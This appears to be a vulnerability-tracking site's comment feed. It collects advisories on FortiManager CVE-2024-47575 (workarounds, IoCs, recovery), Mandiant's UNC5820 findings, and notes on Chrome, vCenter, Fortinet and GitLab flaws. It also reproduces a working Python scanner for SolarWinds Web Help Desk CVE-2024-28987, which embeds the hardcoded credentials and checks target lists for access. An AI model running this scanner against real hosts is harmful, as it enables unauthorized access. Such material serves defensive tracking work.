Recent comments

• Chrome release - Stable Channel Update for Desktop

High CVE-2024-10827: Use after free in Serial. Reported by Anonymous on 2024-10-23

we’re back, and despite all the buzz about FortiManager - the saga is about to continue.

Please, remove this from the Internet *even if fully patched*

speak soon.

Ref: https://x.com/watchtowrcyber/status/1853262240822276534

A MISP event in JSON format is available with all details and IoCs.

• MISP event Investigating FortiManager Zero-Day Exploitation (CVE-2024-47575)

A missing authentication for critical function vulnerability [CWE-306] in FortiManager fgfmd daemon may allow a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests.

Reports have shown this vulnerability to be exploited in the wild.

PSIRT | FortiGuard Labs 9–11 minutes Summary

A missing authentication for critical function vulnerability [CWE-306] in FortiManager fgfmd daemon may allow a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests.

Reports have shown this vulnerability to be exploited in the wild. Version Affected Solution FortiManager 7.6 7.6.0 Upgrade to 7.6.1 or above FortiManager 7.4 7.4.0 through 7.4.4 Upgrade to 7.4.5 or above FortiManager 7.2 7.2.0 through 7.2.7 Upgrade to 7.2.8 or above FortiManager 7.0 7.0.0 through 7.0.12 Upgrade to 7.0.13 or above FortiManager 6.4 6.4.0 through 6.4.14 Upgrade to 6.4.15 or above FortiManager 6.2 6.2.0 through 6.2.12 Upgrade to 6.2.13 or above FortiManager Cloud 7.6 Not affected Not Applicable FortiManager Cloud 7.4 7.4.1 through 7.4.4 Upgrade to 7.4.5 or above FortiManager Cloud 7.2 7.2.1 through 7.2.7 Upgrade to 7.2.8 or above FortiManager Cloud 7.0 7.0.1 through 7.0.12 Upgrade to 7.0.13 or above FortiManager Cloud 6.4 6.4 all versions Migrate to a fixed release

Old FortiAnalyzer models 1000E, 1000F, 2000E, 3000E, 3000F, 3000G, 3500E, 3500F, 3500G, 3700F, 3700G, 3900E with the following feature enabled (FortiManager on FortiAnalyzer):

config system global set fmg-status enable end

and at least one interface with fgfm service enabled are also impacted by this vulnerability.

Workarounds

Upgrade to a fixed version or use one of the following workarounds, depending on the version you're running:

1- For FortiManager versions 7.0.12 or above, 7.2.5 or above, 7.4.3 or above (but not 7.6.0), prevent unknown devices to attempt to register:

config system global (global)# set fgfm-deny-unknown enable (global)# end

Warning: With this setting enabled, be aware that if a FortiGate's SN is not in the device list, FortiManager will prevent it from connecting to register upon being deployed, even when a model device with PSK is matching.

If FAZ features are enabled on FMG, block the addition of unauthorized devices via syslog:

conf system global set detect-unregistered-log-device disable end

If FortiGate Updates or Web Filtering are enabled, block the addition of unauthorized devices via FDS:

conf fmupdate fds-setting set unreg-dev-option ignore end

2- Alternatively, for FortiManager versions 7.2.0 and above, you may add local-in policies to whitelist the IP addresses of FortiGates that are allowed to connect.

Example:

config system local-in-policy edit 1 set action accept set dport 541 set src next edit 2 set dport 541 next end

3- For 7.2.2 and above, 7.4.0 and above, 7.6.0 and above it is also possible to use a custom certificate which will mitigate the issue:

config system global set fgfm-ca-cert set fgfm-cert-exclusive enable

end

And install that certificate on FortiGates. Only this CA will be valid, this can act as a workaround, providing the attacker cannot obtain a certificate signed by this CA via an alternate channel.

NB: For FortiManager versions 6.2, 6.4, and 7.0.11 and below, please upgrade to one of the versions above and apply the above workarounds.

Indicators of Compromise

The following are possible IoCs:

Log entries

type=event,subtype=dvm,pri=information,desc="Device,manager,generic,information,log",user="device,...",msg="Unregistered device localhost add succeeded" device="localhost" adom="FortiManager" session_id=0 operation="Add device" performed_on="localhost" changes="Unregistered device localhost add succeeded"

type=event,subtype=dvm,pri=notice,desc="Device,Manager,dvm,log,at,notice,level",user="System",userfrom="",msg="" adom="root" session_id=0 operation="Modify device" performed_on="localhost" changes="Edited device settings (SN FMG-VMTM23017412)"

IP addresses

45.32.41.202 104.238.141.143 158.247.199.37 45.32.63.2 195.85.114.78 (Not observed by Fortinet, reported by Mandiant here)

Serial Number

FMG-VMTM23017412

Files

/tmp/.tm /var/tmp/.tm

Note that file IoCs may not appear in all cases.

Risk

The identified actions of this attack in the wild have been to automate via a script the exfiltration of various files from the FortiManager which contained the IPs, credentials and configurations of the managed devices.

At this stage, we have not received reports of any low-level system installations of malware or backdoors on these compromised FortiManager systems. To the best of our knowledge, there have been no indicators of modified databases, or connections and modifications to the managed devices.

Recovery

A FortiManager configuration backup file would not contain any OS or system-level file changes, as these files are not included in the archive. Therefore, taking a backup from a compromised system and then restoring it on a fresh or re-initialized one, would not carry over and re-introduce such low-level changes. When taking this approach, be aware that the data may have been tampered with. Careful review should be done to confirm configuration accuracy.

The methods below assume that the managed devices (FortiGates or other) contained in the backup have not been tampered with and that their configurations are reliable. Event log activity verification of the FortiGates should be reviewed starting from the date of the identified IoCs, to determine if there were any unauthorized access or configuration changes. Since data may have been exfiltrated from the FortiManager database, we recommend that the credentials, such as passwords and user-sensitive data, of all managed devices, be urgently changed.

For VM installations, recovery can be facilitated by keeping a copy of the compromised FortiManager in an isolated network with no Internet connection, as well as configuring it in offline mode and closed-network mode operation (see settings below). This system can be used to compare with the new one which will be set up in parallel.

config system admin setting set offline_mode enable end config fmupdate publicnetwork set status disable end

Recovery Methods

Option 1 – Recommended Recovery Action

This method ensures that the FortiManager configuration was not tampered with. It will require database rebuilding or device configuration resynchronizations at the Device and Policy Package ADOM levels.

• Installing a fresh FortiManager VM or re-initializing a hardware model and adding/discovering the devices. • Installing a fresh FortiManager VM or re-initializing a hardware model, and restoring a backup taken before the IoC detection.

Option 2 – Alternative Recovery Action

This method provides a quick recovery, where partial or no database rebuilding/resynchronization is required. It requires that you manually verify accuracy of the currently running FortiManager configuration

• Installing a fresh FortiManager VM or re-initializing a hardware model and restoring/copying components or configuration sections from a compromised FortiManager. • Installing a fresh FortiManager VM or re-initializing a hardware model, and restoring a backup from a compromised FortiManager.

For more info on data configuration and synchronization procedures: https://community.fortinet.com/t5/FortiManager/Technical-Tip-FortiManager-data-configuration-and/ta-p/351748

• https://www.fortiguard.com/psirt/FG-IR-24-423

In October 2024, Mandiant collaborated with Fortinet to investigate the mass exploitation of FortiManager appliances across 50+ potentially compromised FortiManager devices in various industries. The vulnerability, CVE-2024-47575 / FG-IR-24-423, allows a threat actor to use an unauthorized, threat actor-controlled FortiManager device to execute arbitrary code or commands against vulnerable FortiManager devices.

Mandiant observed a new threat cluster we now track as UNC5820 exploiting the FortiManager vulnerability as early as June 27, 2024. UNC5820 staged and exfiltrated the configuration data of the FortiGate devices managed by the exploited FortiManager. This data contains detailed configuration information of the managed appliances as well as the users and their FortiOS256-hashed passwords. This data could be used by UNC5820 to further compromise the FortiManager, move laterally to the managed Fortinet devices, and ultimately target the enterprise environment.

At this time, the data sources analyzed by Mandiant did not record the specific requests that the threat actor used to leverage the FortiManager vulnerability. Additionally, at this stage of our investigations there is no evidence that UNC5820 leveraged the obtained configuration data to move laterally and further compromise the environment. As a result, at the time of publishing, we lack sufficient data to assess actor motivation or location. As additional information becomes available through our investigations, Mandiant will update this blog’s attribution assessment.

Organizations that may have their FortiManager exposed to the internet should conduct a forensic investigation immediately.

Ref: https://cloud.google.com/blog/topics/threat-intelligence/fortimanager-zero-day-exploitation-cve-2024-47575

VMware has determined that the vCenter patches released previously did not completely mitigate the vulnerability.

https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24968

The company released a patch in Web Help Desk version 12.8.3 HF2, which addresses this vulnerability. Users are strongly advised to update their software to this version or later to protect against this flaw.

A PoC is available here: https://github.com/fa-rrel/CVE-2024-28987-POC

import argparse
import base64
import requests

# Created by Ghost sec.
RED = "\033[91m"
GREEN = "\033[92m"
BOLD = "\033[1m"
RESET = "\033[0m"

ascii_art = f"""
{BOLD}{RED}
  ______   __                              __                                         
 /      \ /  |                            /  |                                        
/$$$$$$  |$$ |____    ______    _______  _$$ |_           _______   ______    _______ 
$$ | _$$/ $$      \  /      \  /       |/ $$   |         /       | /      \  /       |
$$ |/    |$$$$$$$  |/$$$$$$  |/$$$$$$$/ $$$$$$/         /$$$$$$$/ /$$$$$$  |/$$$$$$$/ 
$$ |$$$$ |$$ |  $$ |$$ |  $$ |$$      \   $$ | __       $$      \ $$    $$ |$$ |      
$$ \__$$ |$$ |  $$ |$$ \__$$ | $$$$$$  |  $$ |/  |       $$$$$$  |$$$$$$$$/ $$ \_____ 
$$    $$/ $$ |  $$ |$$    $$/ /     $$/   $$  $$/       /     $$/ $$       |$$       |
 $$$$$$/  $$/   $$/  $$$$$$/  $$$$$$$/     $$$$/        $$$$$$$/   $$$$$$$/  $$$$$$$/ 
 PROOF OF CONCEPT CVE-2024-28987 || SCANNING VULNERABILITY POC || github.com/fa-rrel
{RESET}
"""

print(ascii_art)

def get_basic_auth_header(username, password):
    credentials = f"{username}:{password}"
    base64_credentials = base64.b64encode(credentials.encode()).decode('utf-8')
    return {'Authorization': f'Basic {base64_credentials}'}

def scan_target(hostname):
    # Ensure hostname does not have trailing slashes
    hostname = hostname.strip().rstrip('/')
    url = f"http://{hostname}/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/"

    # Print formatted URL for debugging
    print(f"{BOLD}[*] Scanning URL: {url}{RESET}")

    headers = get_basic_auth_header("helpdeskIntegrationUser", "dev-C4F8025E7")
    headers['Content-Type'] = 'application/x-www-form-urlencoded'

    try:
        response = requests.get(url, headers=headers, timeout=10)
        if response.status_code == 200 and 'displayClient' in response.text and 'shortDetail' in response.text:
            print(f"{BOLD}{GREEN}[+] Vulnerability confirmed on {hostname} with username: 'helpdeskIntegrationUser' and password: 'dev-C4F8025E7'{RESET}")
        else:
            print(f"{BOLD}{RED}[-] No vulnerability detected on {hostname}{RESET}")
    except requests.RequestException:
        # Modify this line to just print "Not vulnerable" instead of the error details
        print(f"{BOLD}{RED}[-] Not vulnerable on {hostname}{RESET}")

def scan_targets_from_file(file_path):
    try:
        with open(file_path, 'r') as file:
            targets = file.readlines()
            if not targets:
                print(f"{BOLD}{RED}[!] No targets found in file{RESET}")
                return
            for target in targets:
                target = target.strip()
                if target:
                    scan_target(target)
    except FileNotFoundError:
        print(f"{BOLD}{RED}[!] File {file_path} not found{RESET}")
    except Exception as e:
        print(f"{BOLD}{RED}[!] An error occurred: {e}{RESET}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-28987 Scanner - SolarWinds Web Help Desk Hardcoded Credential")
    parser.add_argument('-f', '--file', type=str, required=True, help='File containing list of targets')

    args = parser.parse_args()

    scan_targets_from_file(args.file)

if __name__ == "__main__":
    main()

We are now reporting in our feeds Fortinet IPs still likely vulnerable to CVE-2024-23113 (format string pre-auth RCE). This vulnerability is known to be exploited in the wild. 

87,390 IPs found on 2024-10-12. Top: US (14K), Japan (5.1K), India (4.8K)

Ref Original post

Ref Shadowserver - map Ref Statistics of the available vulnerable devices

From a quick analysis comparing the previous tag and the information found in the the changelog:

[Do not create a pipeline on MR refresh if source branch was deleted](https://gitlab.com/gitlab-org/security/gitlab/-/commit/3dd89a71b436e8218a5d159a1dd75cb2de078129) ([merge request](https://gitlab.com/gitlab-org/security/gitlab/-/merge_requests/4524))

the fix of this vuln seems to be: https://gitlab.com/gitlab-org/gitlab/-/commit/480d0bd7ccdca6f93ff715abcd6c2fa7a9bebec2